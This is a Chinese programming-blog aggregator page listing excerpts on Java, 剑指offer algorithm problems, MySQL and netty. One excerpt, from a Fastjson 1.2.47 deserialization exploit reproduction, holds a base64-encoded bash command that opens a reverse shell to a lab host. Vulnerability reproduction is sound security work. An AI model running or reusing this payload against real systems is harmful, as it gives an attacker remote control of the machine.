E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
java-剑指offer
剑指offer
05:字符串替换
一、问题请实现一个函数,把字符串s中的每个空格替换成"%20"。示例输入:s="Wearehappy."输出:"We%20are%20happy."二、解法解法一思路:调库既然使用了JDK的库函数,最好还是去看一下源码怎么实现的。如下,可以看到其实JDK内部使用了正则表达式来替换全部的空格。正则虽然通用,但是在时间效率这一块必然没那么好,如果面试遇到这种问题,世界调库也不太好。publicStri
Quintanliu
·
2023-12-03 04:06
【
JAVA-
日期计算工具类】用LocalDate日月年加减
importorg.apache.commons.lang3.StringUtils;importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;importjava.text.ParseException;importjava.text.SimpleDateFormat;importjava.ti
Mo班车
·
2023-12-02 19:40
Java后端
java
剑指Offer
24题目分析
剑指Offer
24题目分析解析思路代码实现本例中可以思考的点解析思路官方解析可以采用头插法解决。不了解的可以搜一下。
斜月三
·
2023-12-02 15:18
力扣
算法
回文链表,
剑指offer
27,力扣 61
目录题目:我们直接看题解吧:解题方法:难度分析:审题目+事例+提示:解题分析:解题思路(数组列表+双指针):代码说明补充:代码实现:代码实现(快慢指针):题目地址:234.回文链表-力扣(LeetCode)难度:简单今天刷回文链表,大家有兴趣可以点上看看题目要求,试着做一下。题目:给定一个链表的头节点head,请判断其是否为回文链表。如果一个链表是回文,那么链表节点序列从前往后看和从后往前看是相同
大数据SQLboy
·
2023-12-02 12:01
leetcode
算法
java
链表
数据结构
Java-
整合OSS
文章目录前言一、OSS简介二、OSS的使用1.Bucket的创建与文件上传2.创建RAM与用户授权3.图形化管理工具-ossbrowser三、Java整合OSS1.基本实现2.客户端直传前言最近公司的技术负责人让我整合下OSS到项目中,所以花了一点时间研究了下OSS,虽然说在OSS的官方文档中有如何整合OSS的详细说明,但是不得不说文档实在是太详细了,如果仅仅是通过看官方文档去整合,可能会看到太多
多加点辣也没关系
·
2023-12-02 11:26
java
阿里云
【数据库基础】
目录:前言什么是数据库主流数据库服务器,数据库,表关系MySQL架构SQL分类存储引擎前言
剑指offer
:一年又1天什么是数据库存储数据用文件就可以了,为什么还要弄个数据库?
胜利熊猫
·
2023-12-02 06:49
MySQL
数据库
sql
【MySQL表的操作】
目录:前言表的操作创建表查看表结构修改表对列的增删改修改表名对表中数据的操作插入数据查找数据修改数据删除数据删除表总结前言
剑指offer
:一年又3天表的操作创建、查看、修改(属性和内容)与删除创建表语法
胜利熊猫
·
2023-12-02 06:16
MySQL
mysql
sql
数据库
每日一题之《
剑指offer
》23,24题
第二十三题:二叉搜索树的后续遍历序列难易度:⭐⭐输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果如果是则输出Yes,否则输出No。假设输入的数组的任意两个数字都互不相同。对于一个二叉搜索树而言,例如:该二叉搜索树的后续遍历的结果为:9,13,11,20,32,30,16不难看出,后续遍历的序列中,最后一个数字为一个二叉搜索树的root节点,最后一个节点的前一个节点为root节点的右子
憨憨二师兄
·
2023-12-02 05:47
JAVA-
作业4-1:设计完成Human类和Student类,要求能够实现以下功能
题目:设计完成Human类和Student类,要求能够实现以下功能:两类之间是继承关系;两类中均需有构造函数;重写equals(),toString(),hashCode()方法;测试方法中需体现多态和强制类型转换。代码如下:1.Human类:packageHW1029;importjava.util.Objects;publicclassHuman{privateStringname;priva
乐多ledo
·
2023-12-02 00:34
JAVA
java
哈希算法
开发语言
JAVA-
实验1-1:定义一个Circle类
题目:(1)定义一个Circle类,包含一个double型的radius属性代表圆的半径,findArea()方法返回圆的面积;(2)定义一个类PassObject,在类中定义一个方法printAreas(),该方法的定义如下:publicvoidprintAreas(Circlec,inttimes)(3)在printAreas方法中打印输出1到times之间的每个整数半径值,以及对应的面积,例
乐多ledo
·
2023-12-02 00:04
JAVA
java
开发语言
《
剑指offer
第二版》面试题59 题目二:队列的最大值(java)
题目描述请定义一个队列实现函数max得到队列里的最大值。要求函数max、push_back和pop_front的时间复杂度都为O(1)。解题思路用双端队列maximums保存最大值。用currentIndex记录push进队列数字的index。push_back的时候,如果push的值number大于maximums的队尾元素,则删除队尾元素,直到maximums中没有比number小的值。pop
castlet
·
2023-12-01 22:40
剑指 Offer(第2版)面试题 11:旋转数组的最小数字
剑指Offer
(第2版)面试题11:旋转数组的最小数字
剑指Offer
(第2版)面试题11:旋转数组的最小数字解法1:二分查找
剑指Offer
(第2版)面试题11:旋转数组的最小数字题目来源:22.旋转数组的最小数字解法
UestcXiye
·
2023-12-01 22:31
剑指
Offer
C++
数据结构与算法
剑指Offer
二分查找
力扣
剑指offer
179题 查找总价格为目标值的两个商品 双指针算法
LCR179.查找总价格为目标值的两个商品购物车内的商品价格按照升序记录于数组price。请在购物车中找到两个商品的价格总和刚好是target。若存在多种情况,返回任一结果即可。示例1:输入:price=[3,9,12,15],target=18输出:[3,15]或者[15,3]示例2:输入:price=[8,21,27,34,52,66],target=61输出:[27,34]或者[34,27]
是布谷阿
·
2023-12-01 21:58
力扣算法题
算法
leetcode
双指针
《剑指 Offer (第 2 版)》第 36 题:二叉搜索树与双向链表(典型递归问题)
《
剑指Offer
(第2版)》第36题:二叉搜索树与双向链表(典型递归问题)-1思
李威威
·
2023-12-01 19:20
java-
猜数字游戏
系统自动自动生成一个随机数(1-100),然后由用户输入一个猜测的数字,如果输入的数字比该随机数小,提示"猜小了";如果输入的数字比该随机数大,提示"猜大了";如果输入的数字和该随机数一样,提示"猜对了"。系统生成随机数采用java自带的工具RandomRandomrandom=newRandom();//默认随机种子时系统时间intnumber=random.nextInt(100);//生成随
悲伤的鱼豆腐
·
2023-12-01 14:27
java
开发语言
剑指offer
Day20----求1+2+3+...+n
题目:求1+2+3+...+n,要求不能使用乘除法、for、while、if、else、switch、case等关键字及条件判断语句(A?B:C)。思路:采用逻辑断路的知识,解决问题。源码:GitHub源码publicclassSolution{publicintSum_Solution(intn){intsum=n;booleanSBWY=(sum!=0)&&((sum+=Sum_Solutio
墨殇染泪
·
2023-12-01 08:21
剑指offer
37:序列化二叉树
题目描述:请实现两个函数,分别用来序列化和反序列化二叉树,不对序列化之后的字符串进行约束,但要求能够根据序列化之后的字符串重新构造出一棵与原二叉树相同的树。二叉树的序列化(Serialize)是指:把一棵二叉树按照某种遍历方式的结果以某种格式保存为字符串,从而使得内存中建立起来的二叉树可以持久保存。序列化可以基于先序、中序、后序、层序的二叉树等遍历方式来进行修改,序列化的结果是一个字符串,序列化时
姚舜禹_12140
·
2023-12-01 08:20
剑指offer
java
后端
数据结构
算法
广度优先
JAVA-
第一课初识JAVA
初识Java一、JAVA可以做什么?二、JAVA的产生Java是SunMicrosystems于1995年推出的高级编程语言三、JAVA的发展史四、开发环境的搭建和配置之前的博客中已经做过详细的教程,这里不做赘述,有不清楚的可以查看一下上一篇博客五、开发JAVA程序开发java程序的逻辑如下所示:六、使用记事本开发第一个JAVA程序七、JAVA虚拟机和跨平台原理八、JAVA的基本结构需要注意的是:
珹先生
·
2023-12-01 06:59
初学
java
Java-
通用返回类实现思路
通用返回类:在我们后端向前端传输数据的时候,能够让前端清楚的知道返回成功或失败的信息。1.首先需要一个定义几个公认的字段,在向前端返回时带上信息,例如code,data,messge,description。并且写出构造方法。packagecom.zb.usercenter.common;importlombok.Data;importjava.io.Serializable;/***通用返回类*
王富贵
·
2023-12-01 05:45
java
状态模式
开发语言
java-
用户登录功能实现
思路:相比与注册功能,登录需要的参数少了一个确认密码,但是多了一个请求实体类用于记录用户的登录态。主要步骤是,首先是验证账号,密码的规范性,其次对数据库进行查询是否已经存在,然后,对用户信息进行脱敏,只提取出不敏感的信息,最后,记录登录态,返回脱敏后的用户实体。@OverridepublicUserUserLogin(StringuserAccount,StringuserPassword,Htt
王富贵
·
2023-12-01 05:44
java
开发语言
java-
用户注册流程基本实现
思路:对于用户的注册,简易的实现大概分为三个过程,首先是账号,密码,验证密码的规范校验,其次就是对前端返回的密码进行加密,最后是将账号,密码存入数据库。以下是代码packagecom.zb.usercenter.service.impl;importcom.baomidou.mybatisplus.core.conditions.query.QueryWrapper;importcom.baomi
王富贵
·
2023-12-01 05:14
java
开发语言
笔记
算法经典题:二叉树中节点之和最大的路径
题目:
剑指Offer
Ⅱ051.节点之和最大的路径路径被定义为一条从树中任意节点出发,沿父节点-子节点连接,达到任意节点的序列。同一个节点在一条路径序列中至多出现一次。
多拿好offer
·
2023-12-01 03:32
算法
算法
链表
动态规划
二叉树
最大路径
《
剑指offer
第二版》面试题63:股票的最大利润(java)
题目描述假设把某股票的价格按照时间先后顺序存储在数组中,请问买卖该股票一次可能获得的最大利润是多少?例如,一只股票在某时间节点的价格为{9,11,8,5,7,12,16,14}。如果在价格为5的时候买入,16卖出。则能收获最大的利润11。解题思路该题目即求数组的所有数的最大差值。遍历数组,假设当前遍历第i个数组,用min存储前面i-1个数字的最小值,maxDiff记录当前数字和min的最大差值。遍
castlet
·
2023-11-30 23:57
剑指offer
【位运算】
位运算&与:两个位置都为1时才返回1(1&1=1,1&0=0)|或:一个位置位1即可返回1(1|0=1)^异或:两个位置,相同位0,不同为1(1^1=0,0^0=0,1^0=1)~取反:1变0,0变1>右移:各二进位全部右移若干位,对无符号数,高位补0复合赋值,如a&=b即为a=a&b二进制中1的个数逐位判断定义result=0,用于记录1的个数使用num&1来判断最后一位是否为1,然后右移,遍历
绪安
·
2023-11-30 19:31
leetcode:160. 相交链表
题目来源160.相交链表面试题02.07.链表相交
剑指Offer
52.两个链表的第一个公共节点题目描述structListNode{intval;ListNode*next;ListNode():val
OceanStar的学习笔记
·
2023-11-30 17:16
算法与数据结构
链表
leetcode
算法
LeetCode Java刷题笔记—160. 相交链表
简单难度,这道题和
剑指Offer
52.两个链表的第一个公共节点是同一道题。A和B两个链表长度可能不同,但是A+B和B+A的长度是相同的,所以两个节点先遍历自己再遍历对方一定是同时结束。
刘Java
·
2023-11-30 17:45
链表
leetcode
java
160.
相交链表
剑指offer
Day13----链表中环的入口结点
题目:给一个链表,若其中包含环,请找出该链表的环的入口结点,否则,输出null。思路:使用双指针法,先判断是否有环,有环的话,再让slow指针指向头结点,然后fast指针和slow指针每次都走一步,当他们相遇时,为环的入口结点。推导图片假设x为环前面的路程(黑色路程),a为环入口到相遇点的路程(蓝色路程,假设顺时针走),c为环的长度(蓝色+橙色路程)当快慢指针相遇的时候:此时慢指针走的路程为Ssl
墨殇染泪
·
2023-11-30 10:13
【MySQL库的操作】
目录:前言库的操作创建数据库字符集和校验规则校验规则对数据库的影响选择和查看数据库修改数据库删除数据库备份注意事项查看连接情况总结前言
剑指offer
:一年又二天库的操作创建、选择、查看、修改、删除与备份
胜利熊猫
·
2023-11-30 10:22
MySQL
mysql
oracle
数据库
java-
浅学LinkedList
java-
浅学LinkedList目录
java-
浅学LinkedListLinkedListadd()和push()方法get()方法remove、pop、poll移除方法与ArrayList的区别ArrayListLinkedListLinkedListLinkedList
Charles_YD
·
2023-11-30 02:17
Java
java
链表
数据结构
java-
使用netty实现客户端向服务端存储数据的简单实现
可以使用write:1,实现想服务端存储1的数据,使用read命令可以读取刚才的写入的数据,效果如下单实例有可能会报错isnota@Sharablehandler,socan’tbeaddedorremovedmultipletimes.服务端readreadisinputs请输入消息:客户端读取服务返回的数据:1客户端读取服务返回的数据:服务端已经读取消息完成!readwrite:999writ
liwulin0506
·
2023-11-30 02:18
java
java
python
开发语言
Java-
多线程基本知识学习总结
多线程前言一、线程的创建1、继承Thread类2、实现Runnable接口二、线程的生命周期三、操作线程的方法1、线程的休眠2、线程的加入3、线程的礼让4、线程的优先级四、线程同步End前言Java是支持多线程的编程语言,所谓多线程就是程序能够同时完成多种操作。计算机完成可以多种操作同时进行,这种思想在Java中被称为并发,而将并发完成的多种操作被称为线程。一、线程的创建在Java中线程的创建一般
太平_十九
·
2023-11-30 01:10
java
学习
开发语言
LeetCode《程序员面试金典》面试题 08.01. 三步问题
题目解题面试题08.01.三步问题三步问题题解
剑指Offer
10-I.斐波那契数列斐波那契数列题解70.爬楼梯爬楼梯剑指Off
La vie est belle❤️
·
2023-11-29 18:39
程序员面试金典
记忆化搜索
动态规划
数学
剑指Offer
-机器人的运动范围
剑指Offer
-机器人的运动范围题目描述LCR130.衣橱整理家居整理师将待整理衣橱划分为mxn的二维矩阵grid,其中grid[i][j]代表一个需要整理的格子。
Jasper_Fish
·
2023-11-29 16:45
算法
算法
剑指Offer
-剪绳子
剑指Offer
-剪绳子题目描述LCR131.砍竹子I现需要将一根长为正整数bamboo_len的竹子砍为若干段,每段长度均为正整数。请返回每段竹子长度的最大乘积是多少。
Jasper_Fish
·
2023-11-29 16:44
算法
算法
剑指offer
07:重建二叉树
一、问题输入某二叉树的前序遍历和中序遍历的结果,请构建该二叉树并返回其根节点。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。示例1:输入:preorder=[3,9,20,15,7],inorder=[9,3,15,20,7]输出:[3,9,20,null,null,15,7]image示例2:输入:preorder=[-1],inorder=[-1]输出:[-1]二、解法解法一思路:递归
Quintanliu
·
2023-11-29 14:49
剑指offer
——64滑动窗口的最大值(Python)
【题目】给定一个数组和滑动窗口的大小,找出所有滑动窗口里数值的最大值。例如,如果输入数组{2,3,4,2,6,2,5,1}及滑动窗口的大小3,那么一共存在6个滑动窗口,他们的最大值分别为{4,4,6,6,6,5};针对数组{2,3,4,2,6,2,5,1}的滑动窗口有以下6个:{[2,3,4],2,6,2,5,1},{2,[3,4,2],6,2,5,1},{2,3,[4,2,6],2,5,1},{
Amon O_*
·
2023-11-29 12:42
剑指offer
链表
算法
数据结构
python
leetcode
剑指offer
——滑动窗口的最大值
题目:给定一个数组nums,和滑动窗口的大小k,请找出滑动窗口的最大值。publicint[]maxSlidingWindow(int[]nums,intk){if(knum.length)returnnewint[]{};intleft=0,right=0,i=0;LinkedListlist=newLinkedList();while(right0&&nums[right]>list.peek
技术菜鸟—淡定万
·
2023-11-29 12:40
leetcode
算法
数据结构
python
剑指offer
64. 滑动窗口的最大值
题目描述给定一个数组和滑动窗口的大小,找出所有滑动窗口里数值的最大值。例如,如果输入数组{2,3,4,2,6,2,5,1}及滑动窗口的大小3,那么一共存在6个滑动窗口,他们的最大值分别为{4,4,6,6,6,5};针对数组{2,3,4,2,6,2,5,1}的滑动窗口有以下6个:{[2,3,4],2,6,2,5,1},{2,[3,4,2],6,2,5,1},{2,3,[4,2,6],2,5,1},{
dby_freedom
·
2023-11-29 12:06
剑指offer@Python版
剑指offer
64
滑动窗口的最大值
Python
C++
剑指offer
:输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点,只能调整树中结点指针的指向。
剑指offer
算法题分治二叉搜索树和链表题目描述输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点,只能调整树中结点指针的指向。题目分析明确Convert函数的功能。
gaozhuang63
·
2023-11-29 10:35
剑指offer
链表
指针
数据结构
算法
java
Java二叉搜索树的后续遍历(递归)
剑指offer
33.二叉搜索树的后序遍历解题思路:1.二叉搜索树的特点:二叉搜索树中根节点的值大于左子树中的任意一个节点的值,小于右子树中的任意一个节点的值2.后序遍历顺序:左子树–>右子树–>根节点classSolution
不想秃头Q-Q
·
2023-11-29 10:32
剑指offer
leetcode
算法
二叉搜索树
java
递归
Java-
数组实现超简易学生管理系统
//学生类学号姓名年龄班级及构造方法与get/set方法publicclassStudent{privateStringsutID;//学号 privateStringname;//姓名privateintage;//年龄privatestaticStringclasses="1班";//班级publicStudent(){}publicStudent(StringsutID,Str
网一篮球队长
·
2023-11-29 09:15
java
开发语言
算法
【python】力扣题
剑指Offer
09.用两个栈实现队列一、解题思路1、【队列是先入先出,栈是后入先出】stackA:入队栈,入队操作,直接压入入队栈即可stackB:出队栈,出队操作需要优先检查出队栈是否有数据,若无,需要从入队栈倒入后再操作
yy谷莠子
·
2023-11-29 09:55
代码题
python
力扣
python
leetcode
开发语言
fastjson漏洞 - Fastjson1.2.47反序列化漏洞
99990>&1bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
java
渗透测试小白
·
2023-11-29 03:20
漏洞复现
json
java
安全
fastjson漏洞
漏洞复现
剑指offer
_21 删除链表的倒数第n个结点
题目:给定一个链表,删除链表的倒数第n个结点,并且返回链表的头结点。示例一:输入:head=[1,2,3,4,5],n=2输出:[1,2,3,5]示例2:输入:head=[1],n=1输出:[]示例3:输入:head=[1,2],n=1输出:[1]提示:链表中结点的数目为sz1<=sz<=300<=Node.val<=1001<=n<=sz代码:双指针packagejianzhioffer;imp
小黄花er
·
2023-11-29 03:50
LeetCode
链表
数据结构
算法
力扣:剑指 Offer II 021. 删除链表的倒数第 n 个结点
剑指Offer
II021.删除链表的倒数第n个结点题目描述:给定一个链表,删除链表的倒数第n个结点,并且返回链表的头结点。
廖磊�
·
2023-11-29 03:14
链表
leetcode
数据结构
链表中环的入口节点(环形链表),
剑指offer
,力扣
目录力扣题目地址:题目:我们直接看题解吧:解题方法:审题目+事例+提示:解题分析:解题思路:主要思路:先判断是否有环,有则找出环入口节点力扣题目地址:142.环形链表II-力扣(LeetCode)难度:中等今天刷链表中环的入口节点(环形链表),大家有兴趣可以点上看看题目要求,试着做一下。题目:给定一个链表,返回链表开始入环的第一个节点。从链表的头节点开始沿着next指针进入环的第一个节点为环的入口
大数据SQLboy
·
2023-11-29 03:14
剑指offer
#
链表
算法
java
链表
leetcode
数据结构
力扣:链表中倒数第k个节点
剑指Offer
22.链表中倒数第k个节点输入一个链表,输出该链表中倒数第k个节点。为了符合大多数人的习惯,本题从1开始计数,即链表的尾节点是倒数第1个节点。
XdpCs
·
2023-11-29 03:07
力扣
leetcode
删除链表的倒数第N个节点,
剑指offer
II(21),力扣
目录题目地址:题目:相似类型题:我们直接看本题题解吧:解题方法:难度分析:解题分析:解题思路(双指针):代码实现:代码说明:代码实现(计算链表长度):代码实现(栈):题目地址:19.删除链表的倒数第N个结点-力扣(LeetCode)难度:中等今天刷删除链表的倒数第N个节点,大家有兴趣可以点上看看题目要求,试着做一下。题目:给定一个链表,删除链表的倒数第n个结点,并且返回链表的头结点。相似类型题:强
大数据SQLboy
·
2023-11-29 03:06
剑指offer
#
链表
leetcode
链表
算法
【代码随想录-刷题学习JavaScript】day4-字符串
一、344.反转字符串二、541.反转字符串II三、
剑指Offer
05.替换空格四、151.翻转字符串里的单词五、
剑指Offer
58-II.左旋转字符串六、28.实现strStr()七、459.重复的子字符串八
倏存
·
2023-11-29 03:18
学习
javascript
算法
剑指offer
Day22----滑动窗口的最大值
题目:给定一个数组和滑动窗口的大小,找出所有滑动窗口里数值的最大值。例如,如果输入数组{2,3,4,2,6,2,5,1}及滑动窗口的大小3,那么一共存在6个滑动窗口,他们的最大值分别为{4,4,6,6,6,5};针对数组{2,3,4,2,6,2,5,1}的滑动窗口有以下6个:{[2,3,4],2,6,2,5,1},{2,[3,4,2],6,2,5,1},{2,3,[4,2,6],2,5,1},{2
墨殇染泪
·
2023-11-29 01:11
上一页
12
13
14
15
16
17
18
19
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他